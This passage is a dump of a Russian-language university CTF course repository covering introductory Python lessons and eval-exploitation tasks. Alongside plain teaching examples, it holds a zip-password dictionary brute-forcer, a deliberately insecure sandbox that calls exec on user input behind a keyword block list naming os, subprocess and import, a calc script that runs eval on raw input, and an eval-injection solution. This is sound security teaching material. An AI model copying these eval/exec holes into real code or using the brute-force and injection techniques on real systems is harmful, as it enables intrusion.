49 | Отправлять флаги на сервер таким образом:
50 | ```
51 | $ nc andreyknvl.com 9998
52 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
53 | ```
54 | где username - имя для таблицы результатов, а taskname - название задачи.
55 |
56 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
57 |
58 |
59 | ## Дополнительные задачи
60 |
61 | ### Python
62 |
63 | 1. Смотреть задачи из [Pythontutor](http://pythontutor.ru/).
64 |
65 | 2. Смотреть задачи [здесь](https://github.com/vpavlenko/web-programming/tree/gh-pages/03-python).
66 |
67 | 3. https://projecteuler.net/
68 |
69 | ### CTF-like
70 |
71 | 1. Расшифровать [текст](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/tasks/encrypted.txt). Для зашифровки использовался шифр простой замены.
72 |
73 |
74 | ## Разбор задач
75 |
76 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/WRITEUP.md)
77 |
78 |
79 | ## Материалы
80 |
81 | [Pythontutor: Интерактивный учебник языка Python](http://pythontutor.ru/)
82 |
83 | [The Python Standard Library](https://docs.python.org/2/library/index.html)
84 |
85 | [90% of Python in 90 Minutes](http://www.slideshare.net/MattHarrison4/learn-90)
86 |
--------------------------------------------------------------------------------
/01-intro/02-python/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по python](https://github.com/xairy/mipt-ctf/tree/master/01-intro/02-python).
2 |
3 | ## Контест
4 |
5 | Решения задачек с контеста лежат [здесь](https://github.com/xairy/mipt-ctf/tree/master/01-intro/02-python/contest).
6 |
7 | ## Simple
8 |
9 | В программе происходит две проверки на корректность введенной строки.
10 |
11 | Первая сравнивает `line[0::2]` (каждый второй символ исходной строки) с `faa8babcb4d573f1`.
12 | Вторая сравнивает `line[-1:0:-2]` (каждый второй символ исходной строки в обратном порядке начиная с конца) с `bec86ad48f2419bf`.
13 |
14 | Нужно восстановить строку из этих фрагментов.
15 | Это можно сделать ручками, а можно воспользоваться тем же Питоном.
16 |
17 | ``` python
18 | >>> a = 'faa8babcb4d573f1'
19 | >>> b = 'bec86ad48f2419bf'
20 | >>> b = b[::-1]
21 | >>> zip(a, b)
22 | [('f', 'f'), ('a', 'b'), ('a', '9'), ('8', '1'), ('b', '4'), ('a', '2'), ('b', 'f'), ('c', '8'), ('b', '4'), ('4', 'd'), ('d', 'a'), ('5', '6'), ('7', '8'), ('3', 'c'), ('f', 'e'), ('1', 'b')]
23 | >>> ''.join([''.join(x) for x in zip(a, b)])
24 | 'ffaba981b4a2bfc8b44dda56783cfe1b'
25 | ```
26 |
27 | ```
28 | $ ./simple.py
29 | ffaba981b4a2bfc8b44dda56783cfe1b
30 | Success!
31 | ```
32 |
33 | ## Bitwise
34 |
35 | Эта программа считывает строку, побайтно шифрует ее, записывает ее в `user_arr` и затем сравнивает с `verify_arr`.
36 | Как вариант, можно разобраться с тем, как именно шифруется каждый байт и по зашифрованному значению восстановить исходное.
37 |
38 | Мы пойдем другим путем.
39 | У байта может быть 256 различных значений.
40 | Попробуем зашифровать каждое из этих значений, используя тот же самый алгоритм, которым шифруется введенная строка.
41 | Сравнивая эти значения с каждым из чисел в списке `verify_arr`, мы восстановим искомую строку.
42 |
43 | ``` python
44 | # solve.py
45 | verify_arr = [193, 35, 9, 33, 1, 9, 3, 33, 9, 225]
46 | rv = []
47 | for encrypted_byte in verify_arr:
48 | for i in xrange(0, 255):
49 | encrypted_i = ((((i << 5) | (i >> 3)) ^ 111) & 255)
50 | if encrypted_i == encrypted_byte:
51 | rv.append(chr(i))
52 | print ''.join(rv)
53 | ```
54 |
55 | ``` bash
56 | $ ./solve.py
57 | ub3rs3cr3t
58 | ```
59 |
60 |
61 | ## Archive
62 |
63 | В этой задачке нужно было подобрать пароль к zip архиву, предполагая, что он словарный.
64 | В Питоне есть модуль `zipfile`, который умеет работать с zip-архивами.
65 | Решение:
66 |
67 | ``` python
68 | #!/usr/bin/python
69 |
70 | import zipfile
71 |
72 | zipfilename = 'brute.zip'
73 | dictionary = '/usr/share/dict/american-english'
74 |
75 | zip_file = zipfile.ZipFile(zipfilename)
76 |
77 | with open(dictionary) as f:
78 | for line in f.readlines():
79 | password = line.strip('\n')
80 | try:
81 | zip_file.extractall(pwd=password)
82 | print 'Password found: %s' % password
83 | break
84 | except:
85 | pass
86 | ```
87 |
88 | ``` bash
89 | $ ./brute.py
90 | Password found: underworld
91 | ```
92 |
93 | В данном случае нам хватило словаря английских слов.
94 |
95 |
96 | ## QR Code
97 |
98 | В этой задачке нам предлагают собрать [QR код](https://ru.wikipedia.org/wiki/QR-%D0%BA%D0%BE%D0%B4) из нескольких фрагментов.
99 | При решении будем отталкиваться от предположения, что фрагменты не были случайным образом повернуты, а были только перемешаны.
100 |
101 | ### Решение 1
102 |
103 | Исходя из общих представлений о том, как должен выглядеть валидный QR код, можно сразу поставить на места угловые фрагменты:
104 |
105 | 
106 |
107 | Порядок остальных фрагментов можно перебрать с помощью небольшого скрипта на Питоне:
108 |
109 | ``` python
110 | #!/usr/bin/python
111 |
112 | import itertools
113 | from PIL import Image
114 | from qrtools import QR
115 |
116 | side = 275
117 |
118 | src = {}
119 |
120 | for i in xrange(1, 10):
121 | name = str(i) + '.png'
122 | src[i] = Image.open(name)
123 |
124 | def perm_to_layout(perm):
125 | layout = [
126 | [5, perm[0], 6 ],
127 | [perm[1], perm[2], perm[3]],
128 | [2, perm[4], 7 ]
129 | ]
130 | return layout
131 |
132 | def layout_to_picture(layout):
133 | dst = Image.new('RGB', (3 * side, 3 * side), 'white')
134 | for y, row in enumerate(layout):
135 | for x, elem in enumerate(row):
136 | dst.paste(src[elem], (x * side, y * side))
137 | return dst
138 |
139 | def picture_to_code(pic_name):
140 | code = QR(filename=pic_name)
141 | if code.decode():
142 | return code.data
143 | return None
144 |
145 | for perm in itertools.permutations([1, 3, 4, 8, 9]):
146 | print perm
147 | layout = perm_to_layout(perm)
148 | pic = layout_to_picture(layout)
149 | pic.save('tmp.png')
150 | code = picture_to_code('tmp.png')
151 | if code != None:
152 | print 'Success: ' + code
153 | else:
154 | print 'Fail!'
155 | ```
156 |
157 | ``` bash
158 | $ ./decode.py
159 | (1, 3, 4, 8, 9)
160 | Fail!
161 | ...
162 | (9, 8, 1, 4, 3)
163 | Success: flag{629cb67311001637c4fb6258ad0e0285ddd4c584f73bbc6eb4490120e2aced4c}
164 | ...
165 | (9, 8, 4, 3, 1)
166 | Fail!
167 | ```
168 |
169 | ### Решение 2
170 |
171 | На самом деле, область, используемая для детектирования QR кода, выглядит так:
172 |
173 | 
174 |
175 | В соответствии с этим, можно однозначно поставить в верхний ряд фрагмент 9, а в левый столбец - либо фрагмент 1, либо фрагмент 8:
176 |
177 | 
178 |
179 | 
180 |
181 | Порядок остальных фрагментов можно перебрать руками, благо вариантов не так много.
182 |
--------------------------------------------------------------------------------
/01-intro/02-python/contest/calc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | a = raw_input()
4 | print eval(a)
5 |
--------------------------------------------------------------------------------
/01-intro/02-python/contest/regex.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import re
4 |
5 | with open('input.txt') as fin:
6 | for line in fin:
7 | for match in re.findall('flag\{[0-9a-z]{32}\}', line):
8 | print match
9 |
--------------------------------------------------------------------------------
/01-intro/02-python/contest/sum.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | a = raw_input()
4 | b = raw_input()
5 | print int(a) + int(b)
6 |
--------------------------------------------------------------------------------
/01-intro/02-python/contest/word.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import fileinput
4 |
5 | freqs = {}
6 |
7 | for line in fileinput.input():
8 | for word in line.strip().split():
9 | freqs[word] = freqs.get(word, 0) + 1
10 |
11 | words = freqs.keys()
12 |
13 | # First, sort in alphabetical order.
14 | words.sort()
15 |
16 | # Now sort by frequencies.
17 | words.sort(key=lambda word: freqs[word], reverse=True)
18 |
19 | for word in words:
20 | print word, freqs[word]
21 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/README.md:
--------------------------------------------------------------------------------
1 | Примеры
2 | =======
3 |
4 | Часть примеров была взята [отсюда](https://github.com/vpavlenko/startup-engineering/tree/gh-pages/python-bis).
5 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/examples_1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Ввод-вывод. Числа, строки, bool. Конструкции if, for, while.
5 |
6 | # Ввод-вывод cтрок.
7 | first_word = raw_input()
8 | second_word = raw_input()
9 | spell = first_word + ' ' + second_word + '!'
10 | print spell
11 |
12 | # Ввод-вывод чисел.
13 | first_number = int(raw_input())
14 | second_number = float(raw_input())
15 | print first_number + second_number
16 |
17 | raw_input('Далее...\n')
18 |
19 | # Смешанный вывод чисел и строк.
20 | platform = first_number + second_number
21 | print 'Платформа № ' + str(platform)
22 | print "Платформа №", platform
23 |
24 | raw_input('Далее...\n')
25 |
26 | # Числа.
27 | radius = 5
28 | pi = 3.14159
29 | square = pi * radius ** 2
30 | print square
31 | print 10 ** 100
32 |
33 | raw_input('Далее...\n')
34 |
35 | # Тип bool.
36 | a = True
37 | b = False
38 | if a or b:
39 | print a and b
40 |
41 | raw_input('Далее...\n')
42 |
43 | # Коды символов.
44 | a = ord('x')
45 | print a
46 | b = chr(a)
47 | print b
48 |
49 | raw_input('Далее...\n')
50 |
51 | # Строки.
52 | s = 'Tom Marvolo Riddle'
53 | tokens = s.split()
54 | first_name = tokens[0]
55 | middle_name = tokens[1]
56 | last_name = tokens[2]
57 | s2 = first_name + ' ' + middle_name + ' ' + last_name
58 |
59 | # Конструкция 'if'. Важно ставить отступы!
60 | if (s == s2):
61 | print 'Две строки равны.'
62 | else:
63 | print 'Так не бывает.'
64 |
65 | raw_input('Далее...\n')
66 |
67 | # Цикл 'for'. Отступы вновь важны!
68 | for house in houses:
69 | print 'Ten points to', house, '!'
70 |
71 | raw_input('Далее...\n')
72 |
73 | # Цикл for для численного индекса.
74 | s = ''
75 | for i in range(5, 8):
76 | s += str(i)
77 | print s
78 |
79 | raw_input('Далее...\n')
80 |
81 | # Цикл while.
82 | number = 0
83 | while True:
84 | number += 1
85 | if number == 42:
86 | break
87 | print number
88 |
89 | # Списки.
90 | houses = ['Ravenclaw', 'Hufflepuff', 'Gryffindor']
91 | houses.append('Slytherin')
92 | print len(houses)
93 |
94 | raw_input('Далее...\n')
95 |
96 | # Сортировка.
97 | houses.sort() # Сортировка на месте.
98 | sorted_letters = sorted(houses[0]) # Новый список.
99 | print houses
100 | print sorted_letters
101 |
102 | raw_input('Далее...\n')
103 |
104 | # Кортеж / tuple.
105 |
106 | t = (1, 'fish', 2, 'fish')
107 |
108 | try:
109 | t[0] = 'red'
110 | except:
111 | print 'Failed'
112 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/examples_2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Словарь, срезы, set.
5 |
6 | # Словарь - соответствие из ключей в значения.
7 | # Это как список, только индексы могут быть не только числами.
8 | dictionary = {}
9 | dictionary['half-blood'] = 'полукровка'
10 | dictionary['cauldron'] = 'котёл'
11 | dictionary['potion'] = 'зелье'
12 | print dictionary['cauldron']
13 | print 'potion' in dictionary
14 | print 'зелье' in dictionary
15 | print 'quidditch' in dictionary
16 |
17 | raw_input('Далее...\n')
18 |
19 | try:
20 | print dictionary['quidditch']
21 | except KeyError as e:
22 | print 'Мы поймали исключение:', e
23 |
24 | print dictionary.get('half-blood', 'неизвестно')
25 | print dictionary.get('quidditch', 'неизвестно')
26 |
27 | raw_input('Далее...\n')
28 |
29 | # Всё нумеруется с нуля. Отрицательные индексы идут из конца в начало.
30 | s = 'abcdefghi'
31 | print s[0], s[1], s[-1], s[-2]
32 |
33 | raw_input('Далее...\n')
34 |
35 | # Типов переменных нет. Есть объекты и ссылки на них.
36 | s = [5, 10, 'smth', {'A': 'a'}]
37 | print s[0], s[1], s[-1], s[-2]
38 | t = s
39 | s.pop()
40 | print s
41 | print t
42 |
43 | raw_input('Далее...\n')
44 |
45 | # Есть срезы.
46 | a = range(9, -1, -1)
47 | print a
48 | a = range(0, 10, 1)
49 | a = range(0, 10)
50 | a = range(10)
51 | print a
52 | b = a[3:6]
53 | c = a[2:]
54 | d = a[2::2]
55 | e = a[6:3:-1]
56 | f = a[6::-1]
57 | g = a[::-1]
58 | print 'b =', b
59 | print 'c =', c
60 | print 'd =', d
61 | print 'e =', e
62 | print 'f =', f
63 | print 'g =', g
64 |
65 | # Всё то же самое работает над строками.
66 | a = 'abcdefghi'
67 | b = a[3:6]
68 | c = a[2:]
69 | d = a[2::2]
70 | e = a[6:3:-1]
71 | f = a[6::-1]
72 | g = a[::-1]
73 |
74 | raw_input('Далее...\n')
75 |
76 | # Создание двумерного списка.
77 | a = [0] * 3
78 | a[0] = 1
79 | a[1] = 'a' * 5
80 | print a
81 |
82 | raw_input('Далее...\n')
83 |
84 | # Создание двумерного списка.
85 | a = [[None] * 3] * 2
86 | a[0][0] = 'oops'
87 | print a
88 |
89 | raw_input('Далее...\n')
90 |
91 | # Правильный способ.
92 | a = [[None] * 3 for i in range(2)]
93 | a[0][0] = 'oops'
94 | print a
95 |
96 | raw_input('Далее...\n')
97 |
98 | # Set (неупорядоченные коллекции).
99 | birth_name = 'Tom Marvolo Riddle'
100 | birth_name_letters = set(birth_name)
101 | birth_name_lower_letters = set(birth_name.lower())
102 | nickname_lower_letters = set('I am Lord Voldemort'.lower())
103 | print birth_name_lower_letters == nickname_lower_letters
104 | print len(birth_name_lower_letters)
105 |
106 | raw_input('Далее...\n')
107 |
108 | fib_numbers = set([1, 1, 2, 3, 5, 8, 13, 21])
109 | prime_numbers = set([2, 3, 5, 7, 11, 13, 17, 19])
110 | union = fib_numbers | prime_numbers
111 | intersection = fib_numbers & prime_numbers
112 | difference = fib_numbers - prime_numbers
113 | symmetric_difference = fib_numbers ^ prime_numbers
114 |
115 | raw_input('Далее...\n')
116 |
117 | # Проверка принадлежности.
118 | print 3 in prime_numbers
119 | print 4 in prime_numbers
120 | print 'Griffindor' in houses
121 | print 'ratio' in 'transfiguration'
122 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/examples_3.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Функции, лямбда-функции. Сортировка по ключу.
5 |
6 | # Функции объявляются через def, тело функции пишется с отступом.
7 | def stats(seq):
8 | print ' '.join([str(i) for i in seq])
9 | print 'min: {0}, max: {1}'.format(min(seq), max(seq))
10 |
11 | stats([3, 1, 5, 7, 4])
12 | stats('Quirrel')
13 |
14 | raw_input('Далее...\n')
15 |
16 | f = lambda x, y: x + y
17 | print f(3, 4)
18 | print f([1, 2], [3, 4])
19 | print f('ab', 'cd')
20 |
21 | raw_input('Далее...\n')
22 |
23 | # Можно сортировать по функции key. При сравнении сравниваются
24 | # значения этой функции на элементах списка.
25 | a = ['abc', 'abd', 'abcd', 'de', 'defgh', 'aaaaa', 'abcdef']
26 | print min(a)
27 | print max(a)
28 | print min(a, key=lambda x: len(x))
29 | print max(a, key=lambda x: len(x))
30 | print min(a, key=len)
31 | print max(a, key=len)
32 | print sorted(a, key=len)
33 | print sorted(a, key=max)
34 | print sorted(a, key=lambda x: x[0])
35 | print max(a, key=lambda x: x[0])
36 | print sorted(a, key=lambda x: [len(x), x])
37 | print max(a, key=lambda x: [len(x), x])
38 | print sorted(a, key=len)
39 | print sorted(a, key=lambda x: x[::-1])
40 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/examples_4.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Чтение и запись в файлы.
5 |
6 | # Так читать содержимое файла.
7 | fin = open('input.txt')
8 | for line in fin:
9 | print line.strip()
10 | fin.close()
11 |
12 | raw_input('Далее...\n')
13 |
14 | # Так в файл писать.
15 | fout = open('output.txt', 'w')
16 | fout.write('hello world')
17 | fout.close()
18 |
19 | raw_input('Далее...\n')
20 |
21 | # Чтобы не забыть закрыть файл.
22 | with open('input.txt') as fin:
23 | for line in fin:
24 | print line.strip()
25 |
26 | raw_input('Далее...\n')
27 |
28 | # Импортируем модуль sys.
29 | import sys
30 |
31 | # Чтение из стандартного входа и запись в стандартный выход.
32 | # Ctrl+D чтобы завершить чтение.
33 | for line in sys.stdin.readlines():
34 | sys.stdout.write(line)
35 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/examples_5.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Регулярные выражения.
5 |
6 | import re
7 |
8 | line = 'Cats are smarter than dogs'
9 |
10 | # Поиск первого вхождения.
11 |
12 | search = re.search('[^ ]+', line)
13 |
14 | if search:
15 | print 'Found by search:', search.group()
16 | else:
17 | print 'Nothing found!'
18 |
19 | raw_input()
20 |
21 | # Поиск всех вхождений.
22 |
23 | findall = re.findall('[^ ]+', line)
24 | for match in findall:
25 | print 'Found by findall:', match
26 |
27 | raw_input()
28 |
29 | # Проверка на совпадение.
30 |
31 | match = re.match('(.+) are [^ ]+ than (.+)', line)
32 |
33 | if match:
34 | print 'Matched:', match.group()
35 | print 'match.group(0):', match.group(1)
36 | print 'match.group(1):', match.group(2)
37 | else:
38 | print 'No match!'
39 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/examples_6.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Функции map, zip, filter.
5 |
6 | # Map.
7 |
8 | lst = [1, 2, 3]
9 | double = lambda x: x * 2
10 | print map(double, lst)
11 |
12 | hello = map(ord, 'Hello World!')
13 | print hello
14 | print map(chr, hello)
15 | print ''.join(map(chr, hello))
16 |
17 | raw_input()
18 |
19 | # Zip.
20 |
21 | lst1 = [1, 2]
22 | lst2 = ['red', 'blue']
23 | print zip(lst1, lst2)
24 |
25 | raw_input()
26 |
27 | # Filter.
28 |
29 | lng = range(100)
30 | print filter(lambda x: x > 50, lng)
31 |
32 | raw_input()
33 |
34 | # Hidden.
35 |
36 | hidden = '666c61677b32313765303961666637636433346333346633376364313231346437663334377d'
37 | print hidden[::2]
38 | print hidden[1::2]
39 | print zip(hidden[::2], hidden[1::2])
40 | print map(lambda (x, y): x + y, zip(hidden[::2], hidden[1::2]))
41 | print map(lambda (x, y): int(x + y, 16), zip(hidden[::2], hidden[1::2]))
42 | print map(lambda (x, y): chr(int(x + y, 16)), zip(hidden[::2], hidden[1::2]))
43 | print ''.join(map(lambda (x, y): chr(int(x + y, 16)), zip(hidden[::2], hidden[1::2])))
44 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/input.txt:
--------------------------------------------------------------------------------
1 | Input goes here...
2 | Second line.
3 |
--------------------------------------------------------------------------------
/01-intro/02-python/examples/output.txt:
--------------------------------------------------------------------------------
1 | hello world
--------------------------------------------------------------------------------
/01-intro/02-python/images/qr-code-corners.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/images/qr-code-corners.png
--------------------------------------------------------------------------------
/01-intro/02-python/images/qr-code-detection-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/images/qr-code-detection-1.png
--------------------------------------------------------------------------------
/01-intro/02-python/images/qr-code-detection-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/images/qr-code-detection-2.png
--------------------------------------------------------------------------------
/01-intro/02-python/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/slides.pdf
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/bitwise.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | user_submitted = raw_input("Enter Password: ")
4 |
5 | if len(user_submitted) != 10:
6 | print "Wrong"
7 | exit()
8 |
9 |
10 | verify_arr = [193, 35, 9, 33, 1, 9, 3, 33, 9, 225]
11 | user_arr = []
12 | for char in user_submitted:
13 | # '<<' is left bit shift
14 | # '>>' is right bit shift
15 | # '|' is bit-wise or
16 | # '^' is bit-wise xor
17 | # '&' is bit-wise and
18 | user_arr.append( (((ord(char) << 5) | (ord(char) >> 3)) ^ 111) & 255 )
19 |
20 | if (user_arr == verify_arr):
21 | print "Success"
22 | else:
23 | print "Wrong"
24 |
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/brute.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/brute.zip
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/exec.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | from __future__ import print_function
4 |
5 | print("Welcome to my Python sandbox! Enter commands below!")
6 |
7 | banned = [
8 | "import",
9 | "exec",
10 | "eval",
11 | "pickle",
12 | "os",
13 | "subprocess",
14 | "kevin sucks",
15 | "input",
16 | "banned",
17 | "cry sum more",
18 | "sys"
19 | ]
20 |
21 | targets = __builtins__.__dict__.keys()
22 | targets.remove('raw_input')
23 | targets.remove('print')
24 | for x in targets:
25 | del __builtins__.__dict__[x]
26 |
27 | while 1:
28 | print(">>>", end=' ')
29 | data = raw_input()
30 |
31 | for no in banned:
32 | if no.lower() in data.lower():
33 | print("No bueno")
34 | break
35 | else: # this means nobreak
36 | exec data
37 |
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/1.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/2.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/3.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/4.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/5.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/6.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/7.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/8.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/qrcode/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/02-python/tasks/qrcode/9.png
--------------------------------------------------------------------------------
/01-intro/02-python/tasks/simple.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | line = raw_input()
4 |
5 | if line[0::2] != 'faa8babcb4d573f1':
6 | print 'Fail!'
7 | exit(0)
8 |
9 | if line[-1:0:-2] != 'bec86ad48f2419bf':
10 | print 'Fail!'
11 | exit(0)
12 |
13 | print 'Success!'
14 |
--------------------------------------------------------------------------------
/01-intro/03-eval/README.md:
--------------------------------------------------------------------------------
1 | Python
2 | ======
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/slides.pdf),
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=qUt1GRY8YD8)
9 |
10 | Примеры:
11 | [0](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/examples/eval_examples_0.py),
12 | [1](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/examples/eval_examples_1.py),
13 | [2](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/examples/eval_examples_2.py),
14 | [3](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/examples/eval_examples_3.py),
15 | [4](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/examples/eval_examples_4.py).
16 |
17 | ## Задачи
18 |
19 | ### Eval
20 |
21 | Набор задачек на эксплуатацию уязвимостей в сервисах, использующих функцию `eval`.
22 |
23 | В задачах 1 и 2 нужно узнать значение переменной flag.
24 | В задачах 3, 4 и 5 нужно получить доступ к консоли и прочитать флаг из файла.
25 |
26 |
27 | Eval 1: [условие](https://2013.picoctf.com/problems/pyeval/stage1.html), [исходник](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/tasks/eval1.py), флаг брать здесь:
28 | ```
29 | nc python.picoctf.com 6361
30 | ```
31 |
32 | Eval 2: [условие](https://2013.picoctf.com/problems/pyeval/stage2.html), [исходник](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/tasks/eval2.py), флаг брать здесь:
33 | ```
34 | nc python.picoctf.com 6362
35 | ```
36 |
37 | Eval 3: [условие](https://2013.picoctf.com/problems/pyeval/stage3.html), [исходник](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/tasks/eval3.py), флаг брать здесь:
38 | ```
39 | nc python.picoctf.com 6363
40 | ```
41 |
42 | Eval 4: [условие](https://2013.picoctf.com/problems/pyeval/stage4.html), [исходник](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/tasks/eval4.py), флаг брать здесь:
43 | ```
44 | nc python.picoctf.com 6364
45 | ```
46 |
47 | Eval 5: [исходник](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/tasks/eval5.py), флаг брать здесь:
48 | ```
49 | nc python.picoctf.com 6365
50 | ```
51 |
52 | Задачи взяты из [picoCTF 2013](https://2013.picoctf.com).
53 |
54 |
55 | ## Флаги
56 |
57 | Отправлять флаги на сервер таким образом:
58 | ```
59 | $ nc andreyknvl.com 9997
60 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
61 | ```
62 | где username - имя для таблицы результатов, а taskname - название задачи.
63 |
64 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
65 |
66 |
67 | ## Дополнительные задачи
68 |
69 | 1. [Задачка](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/tasks/exec.py) с [CSAW CTF 2014](https://ctf.isis.poly.edu/).
70 |
71 |
72 | ## Разбор задач
73 |
74 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/01-intro/03-eval/WRITEUP.md)
75 |
76 |
77 | ## Материалы
78 |
79 | [Python Built-In Functions: eval](https://docs.python.org/2/library/functions.html#eval)
80 |
81 | [Wikipedia: Eval in Python](https://en.wikipedia.org/wiki/Eval#Python)
82 |
83 | [picoCTF: eval: stage 1](https://2013.picoctf.com/problems/pyeval/stage1.html)
84 |
85 | [picoCTF: eval: stage 2](https://2013.picoctf.com/problems/pyeval/stage2.html)
86 |
87 | [picoCTF: eval: stage 3](https://2013.picoctf.com/problems/pyeval/stage3.html)
88 |
89 |
90 | ## Всякое
91 |
92 | [Разгадываем картинку из твиттера компании Intel](https://habrahabr.ru/post/257757/)
93 |
94 | [Fuckpyjails Writeup](http://blog.germano.io/2014/fuckpyjails-writeup-9447-ctf/)
95 |
96 | [PlaidCTF 2014 '\_\_nightmares\_\_' (Pwnables 375) Writeup](https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/)
97 |
--------------------------------------------------------------------------------
/01-intro/03-eval/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по Eval](https://github.com/xairy/mipt-ctf/tree/master/01-intro/03-eval).
2 |
3 | ## eval1
4 |
5 | Программа просит пользователя просят ввести два числа: `x` и `y`.
6 | После считывания `x` шифруется с помощью символов неизвестного нам флага.
7 | Для получения флага необходимо, чтобы `x` и `y` удовлетворяли условию `y / 6 + 7 - y == x`.
8 |
9 | ### Решение 1
10 |
11 | Поскольку `input` считывает строку и вычисляет от нее `eval`, то можно сделать так: `x` ввести произвольное, а в качестве `y` ввести выражение, которое зависит от `x` и удовлетворяет требуемому условию.
12 |
13 | ```
14 | $ nc python.picoctf.com 6361
15 | Welcome to mystery math!
16 | Enter number 1> 1.0
17 | Enter number 2> (x - 7) * 6 / (-5)
18 | Here ya go! eval_is_best_thing_evar
19 | ```
20 |
21 | ### Решение 2
22 |
